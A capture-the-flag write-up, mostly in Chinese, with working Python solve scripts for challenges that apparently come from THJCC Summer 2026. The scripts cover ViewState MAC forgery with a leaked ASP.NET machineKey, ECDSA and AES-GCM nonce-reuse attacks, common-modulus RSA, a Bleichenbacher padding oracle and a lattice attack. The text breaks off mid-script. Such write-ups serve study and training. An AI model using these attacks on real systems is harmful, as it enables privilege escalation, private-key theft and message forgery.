Contoso Asset Portal Flag：THJCC{f0rg3d_v13wst4t3_w1th_l34k3d_m4ch1n3k3y}

/backup/2024-legacy-web.config~ 泄漏未轮换 machineKey → 重算 HMACSHA1 伪造 role=admin + restricted asset 的 ViewState（ObjectStateFormatter 载荷）。

发现过程：Server: Mono-HTTPAPI/1.0 + 页面注释锁定 ASP.NET 2.0/Mono；ViewState 解码为 FF 01 0C | 01 05 "guest" | 01 0B "AST-0000000" + 20 字节 MAC，篡改任一字节即 500（MAC 启用）→ 必须搞到 machineKey；/robots.txt → /backup/ 目录列表泄漏 2024-legacy-web.config~（注释明说 “keys were NOT rotated”）与 assets.csv.bak（唯一 restricted 资产 AST-4F2A9C0）；用泄漏 key 对原始 payload 重算 HMACSHA1 与尾部 20 字节比对一致，确认算法后伪造。

📜 Contoso Asset Portal solve.py（57 行，核心 forge_viewstate@498）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57


#!/usr/bin/env python3
"""Contoso Asset Portal — ViewState MAC forgery solve script.

Chain:
 1. /robots.txt -> /backup/ -> 2024-legacy-web.config~ leaks the production
 machineKey validationKey (SHA1, unrotated).
 2. Default.aspx keeps session state (role, asset) inside __VIEWSTATE,
 serialized as Pair(role, asset) via ObjectStateFormatter (Mono).
 3. Rebuild the serialized payload with role=admin, asset=AST-4F2A9C0
 (the 'restricted' row in assets.csv.bak) and append a valid
 HMACSHA1(validationKey, payload) MAC -> flag is returned.

Usage: python3 solve.py [base_url]
"""
import base64
import hashlib
import hmac
import re
import sys
import urllib.parse
import urllib.request

BASE = sys.argv[1] if len(sys.argv) > 1 else "http://chal.thjcc.org:31257"
PAGE = BASE + "/Default.aspx"

# Leaked from /backup/2024-legacy-web.config~ (comment: "keys were NOT rotated")
VALIDATION_KEY = bytes.fromhex(
 "F3690E7A9D8F4C2B1A5E6D7C8B9A0F1E2D3C4B5A69788796A5B4C3D2E1F0A9B8"
 "C7D6E5F4A3B2C1D0E9F8A7B6C5D4E3F2A1B0C9D8E7F6A5B4C3D2E1F0A9B8"
)

ROLE = "admin"
ASSET = "AST-4F2A9C0" # Domain Controller, classification=restricted


def forge_viewstate(role, asset):
 """Rebuild ObjectStateFormatter payload: FF 01 <type=0x0C Pair> <str> <str>."""
 rb, ab = role.encode(), asset.encode()
 payload = bytes([0xFF, 0x01, 0x0C, 0x01, len(rb)]) + rb + bytes([0x01, len(ab)]) + ab
 mac = hmac.new(VALIDATION_KEY, payload, hashlib.sha1).digest()
 return base64.b64encode(payload + mac).decode()


def main():
 vs = forge_viewstate(ROLE, ASSET)
 data = urllib.parse.urlencode({"q": "", "__VIEWSTATE": vs}).encode()
 req = urllib.request.Request(PAGE, data=data)
 with urllib.request.urlopen(req, timeout=20) as resp:
 body = resp.read().decode(errors="replace")
 m = re.search(r"<code>(THJCC\{[^<]*\})</code>", body)
 if not m:
 sys.exit("flag not found in response:\n" + body[:500])
 print(m.group(1))


if __name__ == "__main__":
 main()

Crypto（8/8）

Nonce Sense Flag：THJCC{n3v3r_3v3r_r3us3_th3_s4m3_n0nc3}

secp256k1 ECDSA 双签名共享 nonce：k=(z1−z2)/(s1−s2)。

📜 Nonce Sense solve.py（148 行，核心 recover_key@585）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148


#!/usr/bin/env python3
"""Nonce Sense (THJCC Summer 2026) — ECDSA/secp256k1 nonce-reuse solver.

Protocol observed:
 PUB <x(32B hex)> <y(32B hex)> # uncompressed secp256k1 pubkey
 SIG <msg hex> <r(32B hex)> <s(32B hex)> # two sigs share r => same nonce k
 TARGET <msg hex> # message we must sign

Attack:
 k = (z1 - z2) / (s1 - s2) mod n (z_i = SHA256(msg_i))
 d = (s1*k - z1) / r mod n
 then sign TARGET with a fresh nonce.
"""
import hashlib
import os
import re
import socket
import sys

# ---- secp256k1 constants ----
P = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
GX = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
GY = 0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8


def point_add(A, B):
 if A is None:
 return B
 if B is None:
 return A
 x1, y1 = A
 x2, y2 = B
 if x1 == x2 and (y1 + y2) % P == 0:
 return None
 if A == B:
 lam = (3 * x1 * x1) * pow(2 * y1, -1, P) % P
 else:
 lam = (y2 - y1) * pow((x2 - x1) % P, -1, P) % P
 x3 = (lam * lam - x1 - x2) % P
 y3 = (lam * (x1 - x3) - y1) % P
 return (x3, y3)


def point_mul(k, base=(GX, GY)):
 R = None
 Q = base
 while k:
 if k & 1:
 R = point_add(R, Q)
 Q = point_add(Q, Q)
 k >>= 1
 return R


def recover_key(pub, r, s1, s2, m1, m2):
 z1 = int.from_bytes(hashlib.sha256(m1).digest(), "big")
 z2 = int.from_bytes(hashlib.sha256(m2).digest(), "big")
 k = (z1 - z2) * pow((s1 - s2) % N, -1, N) % N
 Rk = point_mul(k)
 assert Rk[0] % N == r, "nonce recovery failed"
 d = (s1 * k - z1) * pow(r, -1, N) % N
 assert point_mul(d) == pub, "pubkey mismatch"
 return d, k


def sign(d, msg, nonce=None):
 z = int.from_bytes(hashlib.sha256(msg).digest(), "big")
 while True:
 k = nonce if nonce is not None else int.from_bytes(os.urandom(32), "big") % N
 if k == 0:
 k = None
 continue
 R = point_mul(k)
 r = R[0] % N
 if r == 0:
 k = None
 continue
 s = pow(k, -1, N) * (z + r * d) % N
 if s == 0:
 k = None
 continue
 return r, s


def main():
 sock = socket.create_connection(("chal.thjcc.org", 12001), timeout=10)
 sock.settimeout(10)
 data = b""
 while True:
 chunk = sock.recv(4096)
 if not chunk:
 break
 data += chunk
 if data.count(b"\n") >= 4: # banner done after TARGET line
 break
 text = data.decode(errors="replace")
 print("[*] server banner:")
 print(text)

 lines = text.strip().splitlines()
 pub = None
 sigs = []
 target = None
 for ln in lines:
 parts = ln.split()
 if parts[0] == "PUB":
 pub = (int(parts[1], 16), int(parts[2], 16))
 elif parts[0] == "SIG":
 sigs.append((bytes.fromhex(parts[1]), int(parts[2], 16), int(parts[3], 16)))
 elif parts[0] == "TARGET":
 target = bytes.fromhex(parts[1])
 assert pub and len(sigs) >= 2 and target is not None

 m1, r1, s1 = sigs[0]
 m2, r2, s2 = sigs[1]
 assert r1 == r2, "signatures do not share nonce"
 print(f"[+] live values: shared r={r1:x}, s1={s1:x}, s2={s2:x}")

 d, k_reuse = recover_key(pub, r1, s1, s2, m1, m2)
 print(f"[+] recovered private key d = {d:x}")

 rr, ss = sign(d, target, nonce=k_reuse)
 sig_line = f"{rr:064x} {ss:064x}"
 print(f"[+] crafted (r=s, nonce reused): {sig_line}")

 sock.sendall((sig_line + "\n").encode())
 reply = b""
 try:
 while True:
 chunk = sock.recv(4096)
 if not chunk:
 break
 reply += chunk
 except socket.timeout:
 pass
 print("[*] server reply:")
 print(reply.decode(errors="replace"))
 sock.close()

 flag = re.search(rb"THJCC\{[^}]+\}", reply)
 if flag:
 print(f"[+] FLAG: {flag.group().decode()}")
 return 0


if __name__ == "__main__":
 sys.exit(main())

Forbidden（题名=攻击名） Flag：THJCC{h_r3c0v3r3d_gcm_1s_f0rb1dd3n_w1th0ut_fr3sh_n0nc3s}

AES-GCM nonce 复用：3 组同 nonce 的 (pt,ct,tag) → GHASH 多项式 GCD 恢复 H 与 tag 加密常数 E → 对目标明文伪造 (ct,tag)。GF(2^128) 必须用 NIST 右移版乘法；提交必须复用 banner 同一连接。

📜 Forbidden solve.py（194 行，核心 recover_H@788 / forge@805）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194


#!/usr/bin/env python3
"""THJCC Summer 2026 - Forbidden (Crypto)
AES-GCM nonce reuse ("Forbidden" attack): the server encrypts several known
plaintexts with the SAME nonce/key. Recover the GHASH key H and the tag
encryption constant E = E(K, J0) from (pt, ct, tag) pairs, then forge a
valid (ct, tag) for the target plaintext "give me the flag".
Usage: solve.py [host] [port]
"""
import socket, sys

HOST = sys.argv[1] if len(sys.argv) > 1 else 'chal.thjcc.org'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 12002

# ---------------- GF(2^128), GCM convention (big-endian, poly x^128+x^7+x^2+x+1)
def gf_mul(a, b):
 # NIST SP 800-38D Algorithm 1 (right-shift "multiply")
 # 128-bit blocks as big-endian ints; bit 0 = MSB. R = x^127+x^126+x^125+x^120.
 z, v = 0, a
 R = 0xE1 << 120
 for i in range(128):
 if (b >> (127 - i)) & 1:
 z ^= v
 if v & 1:
 v = (v >> 1) ^ R
 else:
 v >>= 1
 return z

def gf_inv(a):
 # multiplicative identity under GCM mul is x^127 = 2^127 (leftmost bit),
 # so exponentiation must start from that, not from integer 1.
 r = 1 << 127
 e = (1 << 128) - 2
 while e:
 if e & 1:
 r = gf_mul(r, a)
 a = gf_mul(a, a)
 e >>= 1
 return r

# ---------------- polynomials over GF(2^128), coeff lists low->high
def poly_trim(a):
 while len(a) > 1 and a[-1] == 0:
 a = a[:-1]
 return a

def poly_xor(a, b):
 n = max(len(a), len(b))
 r = [0] * n
 for i in range(n):
 r[i] = (a[i] if i < len(a) else 0) ^ (b[i] if i < len(b) else 0)
 return poly_trim(r)

def poly_mod(a, b):
 a = poly_trim(a[:])
 b = poly_trim(b[:])
 db = len(b) - 1
 inv_lead = gf_inv(b[-1])
 r = a
 while len(r) - 1 >= db:
 shift = len(r) - 1 - db
 coef = gf_mul(r[-1], inv_lead)
 for i, bi in enumerate(b):
 r[i + shift] ^= gf_mul(coef, bi)
 r = poly_trim(r)
 if len(r) == 1 and r[0] == 0:
 break
 return r

def poly_gcd(a, b):
 a, b = poly_trim(a[:]), poly_trim(b[:])
 while not (len(b) == 1 and b[0] == 0):
 a, b = b, poly_mod(a, b)
 return a

# ---------------- GHASH (AAD empty)
def ghash(H, ct_bytes):
 L = len(ct_bytes) * 8
 padded = ct_bytes + b'\x00' * ((16 - len(ct_bytes) % 16) % 16)
 X = 0
 for i in range(0, len(padded), 16):
 X = gf_mul(X ^ int.from_bytes(padded[i:i + 16], 'big'), H)
 return gf_mul(X ^ L, H) # len block: (0<<64) | L

# polynomial P(H) = GHASH(H, C) ^ tag (P(H) == 0 for the real H)
def block_poly(pt, ct, tag):
 m = (len(ct) + 15) // 16
 padded = ct + b'\x00' * ((16 - len(ct) % 16) % 16)
 coeffs = [0] * (m + 2)
 # GHASH(H, C) = sum_j block_j * H^(m+1-j) + (len*8)*H (block_0 first, highest power)
 for j in range(m):
 coeffs[m + 1 - j] = int.from_bytes(padded[j * 16:(j + 1) * 16], 'big')
 coeffs[1] ^= len(ct) * 8
 coeffs[0] ^= int.from_bytes(tag, 'big')
 return poly_trim(coeffs)

def recover_H(msgs):
 """msgs: list of (pt, ct, tag). Returns (H, E)."""
 p0 = block_poly(*msgs[0])
 g = None
 for m in msgs[1:]:
 p = poly_xor(p0, block_poly(*m)) # P(H) = 0
 g = p if g is None else poly_gcd(g, p)
 lead = g[-1]
 g = poly_trim([gf_mul(c, gf_inv(lead)) for c in g])
 if len(g) != 2:
 raise RuntimeError(f"GCD not linear, degree={len(g) - 1}")
 H = g[0]
 Es = {int.from_bytes(tag, 'big') ^ ghash(H, ct) for _pt, ct, tag in msgs}
 if len(Es) != 1:
 raise RuntimeError("E inconsistent across messages")
 return H, Es.pop()

def forge(msgs, target):
 H, E = recover_H(msgs)
 # derive keystream from a message long enough to cover the whole target
 pt0, ct0, _ = max(msgs, key=lambda m: len(m[0]))
 assert len(pt0) >= len(target), "no message long enough for target"
 ks1 = bytes(a ^ b for a, b in zip(pt0, ct0))
 ct_star = bytes(a ^ b for a, b in zip(target, ks1))
 tag_star = int.to_bytes(E ^ ghash(H, ct_star), 16, 'big')
 return H, E, ct_star, tag_star

# ---------------- network
def recv_all(s, timeout=2.0):
 s.settimeout(timeout)
 buf = b''
 try:
 while True:
 d = s.recv(4096)
 if not d:
 break
 buf += d
 except (socket.timeout, ConnectionResetError):
 pass
 return buf

def get_banner():
 s = socket.create_connection((HOST, PORT), timeout=10)
 banner = recv_all(s, 2.0)
 return s, banner

def parse(banner):
 nonce = None
 msgs = []
 target = None
 for line in banner.split(b'\n'):
 if not line:
 continue
 parts = line.split(b' ')
 if parts[0] == b'NONCE':
 nonce = bytes.fromhex(parts[1].decode())
 elif parts[0] == b'MSG':
 msgs.append((bytes.fromhex(parts[1].decode()),
 bytes.fromhex(parts[2].decode()),
 bytes.fromhex(parts[3].decode())))
 elif parts[0] == b'TARGET':
 target = bytes.fromhex(parts[1].decode())
 return nonce, msgs, target

def main():
 s, banner = get_banner() # single connection: key/nonce are per-connection
 nonce, msgs, target = parse(banner)
 print(f"nonce={nonce.hex()} msgs={len(msgs)} target={target!r}", flush=True)
 assert target == b'give me the flag'
 assert len(msgs) >= 3

 H, E, ct_star, tag_star = forge(msgs, target)
 print(f"H = {H:032x}", flush=True)
 print(f"E = {E:032x}", flush=True)
 print(f"ct* = {ct_star.hex()}", flush=True)
 print(f"tag* = {tag_star.hex()}", flush=True)

 pt_hex, ct_hex, tag_hex = target.hex(), ct_star.hex(), tag_star.hex()
 candidates = [
 f'{ct_hex} {tag_hex}'.encode(), # confirmed working format
 f'MSG {pt_hex} {ct_hex} {tag_hex}'.encode(),
 f'{pt_hex} {ct_hex} {tag_hex}'.encode(),
 f'TARGET {ct_hex} {tag_hex}'.encode(),
 ]
 for payload in candidates:
 s.sendall(payload + b'\n')
 resp = recv_all(s, 2.0)
 print(f"sent {payload[:44]!r}... -> {resp!r}", flush=True)
 if b'NOPE' not in resp:
 print("=== SUCCESS ===", flush=True)
 print(resp.decode(errors='replace'), flush=True)
 s.close()
 return 0
 print("all formats returned NOPE")
 return 1

if __name__ == '__main__':
 sys.exit(main())

Two Exponents Flag：THJCC{n0t_c0pr1m3_but_st1ll_br0k3n_4nyw4y}

共模 RSA 但 gcd(e1,e2)=3≠1：Bezout 得 m³ mod n，明文短 m³<n 直接开立方根。

📜 Two Exponents solve.py（49 行，核心 egcd@925）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49


#!/usr/bin/env python3
"""Two Exponents — common-modulus RSA with gcd(e1,e2)=3 variant.

Classic common-modulus needs gcd(e1,e2)==1; here gcd(111,39)=3, so the Bezout
combination yields c1^a * c2^b = m^3 mod n. Since the plaintext flag is short
(m^3 << n), the cube root is exact.
"""
import re
from math import gcd
from pathlib import Path

try:
 from sympy import integer_nthroot
except ImportError:
 import sys
 sys.exit("pip install sympy into the project venv")

data = Path(__file__).parent / "chal-Two-Exponents" / "output.txt"
text = data.read_text()
n = int(re.search(r"^n\s*=\s*(\d+)", text, re.M).group(1))
e1 = int(re.search(r"^e1\s*=\s*(\d+)", text, re.M).group(1))
c1 = int(re.search(r"^c1\s*=\s*(\d+)", text, re.M).group(1))
e2 = int(re.search(r"^e2\s*=\s*(\d+)", text, re.M).group(1))
c2 = int(re.search(r"^c2\s*=\s*(\d+)", text, re.M).group(1))

g = gcd(e1, e2)
print(f"gcd(e1,e2) = {g}")
assert g > 1, "classic gcd=1 path (a*e1+b*e2=1)"

# Bezout for a*e1 + b*e2 = g
def egcd(a, b):
 if b == 0:
 return a, 1, 0
 g_, x_, y_ = egcd(b, a % b)
 return g_, y_, x_ - (a // b) * y_

_, a, b = egcd(e1, e2) # a*e1 + b*e2 = g
print(f"a={a} b={b} (a*e1+b*e2={a*e1+b*e2})")

m_g = (pow(c1, a, n) * pow(c2, b, n)) % n # == m^g mod n
print(f"m^g mod n bits: {m_g.bit_length()} / n bits: {n.bit_length()}")

root, exact = integer_nthroot(m_g, g)
print(f"g-th root exact: {exact}")
assert exact, "m^g >= n, need different strategy"

m = root
flag = bytes.fromhex(f"{m:x}").decode(errors="replace")
print("flag:", flag)

A Million Messages Flag：THJCC{bl31chenb4ch3r_st1ll_3ats_pkcs1_v1_5}

每连接 fresh 512-bit RSA + 只验解密前缀 00 02 的行式 oracle = prefix-only Bleichenbacher BB98；流水线批量查询 + 3 连接对冲，11.8k 次 20 分钟收敛。

📜 A Million Messages solve.py（216 行，核心 ask_batch@1004 批量化查询）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216


#!/usr/bin/env python3
"""THJCC Summer 2026 - "A Million Messages" - Bleichenbacher MMA solver.

Protocol (per connection, fresh 512-bit RSA key every connect):
 server -> "N <hex>", "E <hex>", "C <hex>" (C = PKCS#1 v1.5-padded flag)
 client -> "<hex ciphertext X>" (one line per query)
 server -> "OK" iff D(X) as k-byte big-endian starts with 00 02, else "BAD"

Oracle checks ONLY the first two bytes (verified: short padding / no 00
separator still return OK; type 01 / 03 return BAD), so the conforming set is
exactly [2B, 3B) with B = 2^(8(k-2)) -- textbook prefix-only Bleichenbacher.

Server processes ~24 queries/sec per connection, so we run several
independent attacks in parallel threads (each has its own connection/key)
and take whichever finishes first.

Usage: solve.py [host] [port] [n_conns]
"""
import socket, sys, threading, time, json

HOST = sys.argv[1] if len(sys.argv) > 1 else 'chal.thjcc.org'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 12003
NCONNS = int(sys.argv[3]) if len(sys.argv) > 3 else 3

def cdiv(x, y):
 return -((-x) // y)

class OracleConn:
 def __init__(self, host, port):
 self.s = socket.create_connection((host, port), timeout=90)
 self.s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
 self.buf = b''
 self.n_sent = 0
 self.n_read = 0
 self.N = int(self.readline().split()[1], 16)
 self.E = int(self.readline().split()[1], 16)
 self.C = int(self.readline().split()[1], 16)

 def readline(self):
 while b'\n' not in self.buf:
 chunk = self.s.recv(65536)
 if not chunk:
 raise EOFError('server closed')
 self.buf += chunk
 line, self.buf = self.buf.split(b'\n', 1)
 return line

 def ask_batch(self, multipliers, chunk_hint=256):
 """Send oracle(C * t^e mod N) for each t; returns list of bools."""
 out = []
 for i in range(0, len(multipliers), chunk_hint):
 part = multipliers[i:i+chunk_hint]
 payload = b''.join((f"{(self.C * pow(t, self.E, self.N)) % self.N:x}".zfill(128) + '\n').encode() for t in part)
 self.s.sendall(payload)
 self.n_sent += len(part)
 for _ in part:
 out.append(self.readline() == b'OK')
 self.n_read += 1
 return out

def attack(idx, stop, results, log):
 def p(msg):
 log(f"[conn{idx}] {msg}")

 for attempt in range(4):
 if stop.is_set():
 return
 try:
 oc = OracleConn(HOST, PORT)
 except Exception as e:
 p(f"connect failed: {e!r}; retrying")
 time.sleep(2)
 continue
 N, E, C = oc.N, oc.E, oc.C
 k = (N.bit_length() + 7) // 8
 B = 1 << (8 * (k - 2))
 p(f"N={N:#x} (k={k}) queries={oc.n_sent}")

 t_start = time.time()
 try:
 # ---- phase 1: find s1 >= ceil(N/3B) with oracle true
 s = cdiv(N, 3 * B)
 CHUNK = 256
 s1 = None
 while s1 is None:
 if stop.is_set():
 oc.s.close(); return
 mults = [s + i for i in range(CHUNK)]
 res = oc.ask_batch(mults)
 for t, ok in zip(mults, res):
 if ok:
 s1 = t
 break
 s += CHUNK
 if (s - cdiv(N, 3 * B)) % 4096 < CHUNK:
 rate = oc.n_read / max(time.time() - t_start, 1e-9)
 p(f"phase1: scanned up to s={s}, {oc.n_read} q, {rate:.0f} q/s")
 p(f"phase1 HIT s1={s1} after {oc.n_read} queries ({time.time()-t_start:.0f}s)")

 # ---- phase 2
 M = [(2 * B, 3 * B - 1)]
 s_last = s1
 m_found = None
 while m_found is None:
 if stop.is_set():
 oc.s.close(); return
 if len(M) == 1:
 a, b = M[0]
 if b - a <= 16:
 for cand in range(a, b + 1):
 if pow(cand, E, N) == C:
 m_found = cand
 break
 else:
 p("interval failed to verify -- restarting attack")
 break
 continue
 r = cdiv(2 * (b * s_last - 2 * B), N)
 got = False
 while not got:
 s_min = cdiv(2 * B + r * N, b)
 s_max = (3 * B - 1 + r * N) // a
 if s_min > s_max:
 r += 1
 continue
 pos = s_min
 while pos <= s_max and not got:
 if stop.is_set():
 oc.s.close(); return
 mults = list(range(pos, min(s_max, pos + CHUNK - 1) + 1))
 res = oc.ask_batch(mults)
 for t, ok in zip(mults, res):
 if ok:
 s_last = t; got = True; break
 pos += CHUNK
 if oc.n_read % 8192 < CHUNK:
 p(f"2c scanning s~{pos} r={r} q={oc.n_read}")
 if not got:
 r += 1
 else:
 got = False
 scur = s_last + 1
 while not got:
 if stop.is_set():
 oc.s.close(); return
 mults = [scur + i for i in range(CHUNK)]
 res = oc.ask_batch(mults)
 for t, ok in zip(mults, res):
 if ok:
 s_last = t; got = True; break
 scur += CHUNK
 if oc.n_read % 8192 < CHUNK:
 p(f"2b scanning s~{scur} q={oc.n_read}")
 # step 3: recompute intervals
 newM = []
 for (a, b) in M:
 rlo = cdiv(a * s_last - 3 * B + 1, N)
 rhi = (b * s_last - 2 * B) // N
 for r in range(rlo, rhi + 1):
 na = max(a, cdiv(2 * B + r * N, s_last))
 nb = min(b, (3 * B - 1 + r * N) // s_last)
 if na <= nb:
 newM.append((na, nb))
 M = newM
 widths = sum(b2 - a2 + 1 for a2, b2 in M)
 p(f"phase2: s={s_last} intervals={len(M)} total_width_bits={widths.bit_length()} q={oc.n_read}")
 if len(M) == 1 and M[0][1] - M[0][0] <= 16:
 a, b = M[0]
 for cand in range(a, b + 1):
 if pow(cand, E, N) == C:
 m_found = cand
 break
 if m_found is None:
 continue
 block = m_found.to_bytes(k, 'big')
 p(f"RECOVERED after {oc.n_read} queries: {block!r}")
 results.append((N, E, C, m_found, oc.n_read))
 stop.set()
 oc.s.close()
 return
 except Exception as e:
 p(f"error after {oc.n_read} queries: {e!r}; restarting")
 try:
 oc.s.close()
 except Exception:
 pass
 time.sleep(1)

def main():
 stop = threading.Event()
 results = []
 logs = []
 loglock = threading.Lock()
 def log(msg):
 with loglock:
 print(f"{time.strftime('%H:%M:%S')} {msg}", flush=True)

 threads = [threading.Thread(target=attack, args=(i, stop, results, log), daemon=True) for i in range(NCONNS)]
 for t in threads:
 t.start()
 for t in threads:
 t.join()
 if results:
 N, E, C, m, nq = results[0]
 block = m.to_bytes((N.bit_length() + 7) // 8, 'big')
 sep = block.index(0, 2)
 flag = block[sep + 1:]
 print("FLAG:", flag.decode(errors='replace'), flush=True)
 with open('session_result.json', 'w') as f:
 json.dump({'N': hex(N), 'E': hex(E), 'C': hex(C), 'm': hex(m), 'queries': nq,
 'flag': flag.decode(errors='replace')}, f, indent=1)
 else:
 print("no result", flush=True)

if __name__ == '__main__':
 main()

Schizophrenic Signer Flag：THJCC{w0w_y0u_f0und_th3_h1dd3n_d3lt4_b3tw33n_p_4nd_q!}

LCG-nonce 双世界 HNP：p−q≈2¹²⁸ ⇒ k=state，商 t_i 消 d 归一化成 t_i≡A_i·t_0+B_i (mod q)；坐标加权(w=9) Kannan 嵌入 + BKZ-40。

发现过程：p−q≈2¹²⁸ 由 secp256k1 曲线常数直接算出——state mod q 的折叠以 1−2⁻¹²⁸ 概率不折叠，k=state 才成立；LCG 参数 a、b 明文给出，唯一隐藏量是更新时的商 t_i。真正的坎在格：朴素中心化嵌入的目标在 0.9·GH 附近，LLL/BKZ 怎么跑都不收敛（前一会话卡 8 小时的根因）；把 84 个陪集坐标统一乘 w=9（≈K·√12/a）、嵌入行取 K=2.65a，目标降到 ~0.55·GH，BKZ-40 秒出。a 每连接随机，log2(a)≤252.45 的"软实例"约占 36%——重连挑软的（实测第 4 次连接 15 秒解出）。

📜 Schizophrenic Signer solve.py（215 行，核心 lattice_solve@1283 / try_extract@1320）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215


#!/usr/bin/env python3
"""
Schizophrenic Signer (THJCC Summer 2026, crypto, challenge 27) — full solve.

Protocol (handout/server.py): server prints pubkey, LCG params a, b, then 85
ECDSA signatures (h, r, s) over fixed messages, generated with nonces
k_i = ((LCG state mod p) mod q); asks for private key d in hex -> flag.

Attack:
 * state_{i+1} = a*state_i + b - t_i*p with t_i = floor((a*state_i+b)/p) in [0, a)
 and k_i = state_i (p - q = D ~ 2^128 << q, so state % q = state w.h.p.)
 * ECDSA: k_i = alpha_i + beta_i*d (mod q), alpha_i = h_i/s_i, beta_i = r_i/s_i
 * => w_i + e_i*d = t_i*D (mod q) with e_i = beta_{i+1} - a*beta_i,
 w_i = a*alpha_i + b - alpha_{i+1}
 * eliminate d via equation 0: t_i = A_i*t_0 + B_i (mod q), i = 1..83
 * weighted centered Kannan embedding, dim 85:
 rows w*(1, A_1..A_83 | 0), w*q*e_i, (w*C_1..w*C_83 | K)
 with C_i = B_i + A_i*half - half mod q, half = a//2, K = 2.65a, w = 9
 -> target vector (w*(t_i - half)... | K) sits at ~0.55*GH: uSVP, BKZ-30/40
 * candidate t_0 -> d = (w_0 - D*t_0)/e_0 mod q, verify d*G == pub
 * reconnect until log2(a) <= 0.45 + 252 (small a = easier lattice)

Usage:
 python3 solve.py --host chal.thjcc.org --port 11451
 python3 solve.py --local (spawns handout/server.py)
"""
import argparse
import math
import os
import re
import sys
import time

HERE = os.path.dirname(os.path.abspath(__file__))
sys.path.insert(0, HERE)
os.chdir(HERE)

from pwn import remote, process, context

from fpylll import IntegerMatrix, LLL, BKZ
from fpylll.algorithms.bkz2 import BKZReduction as BKZ2

# secp256k1
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
q = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
G_x = 0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798
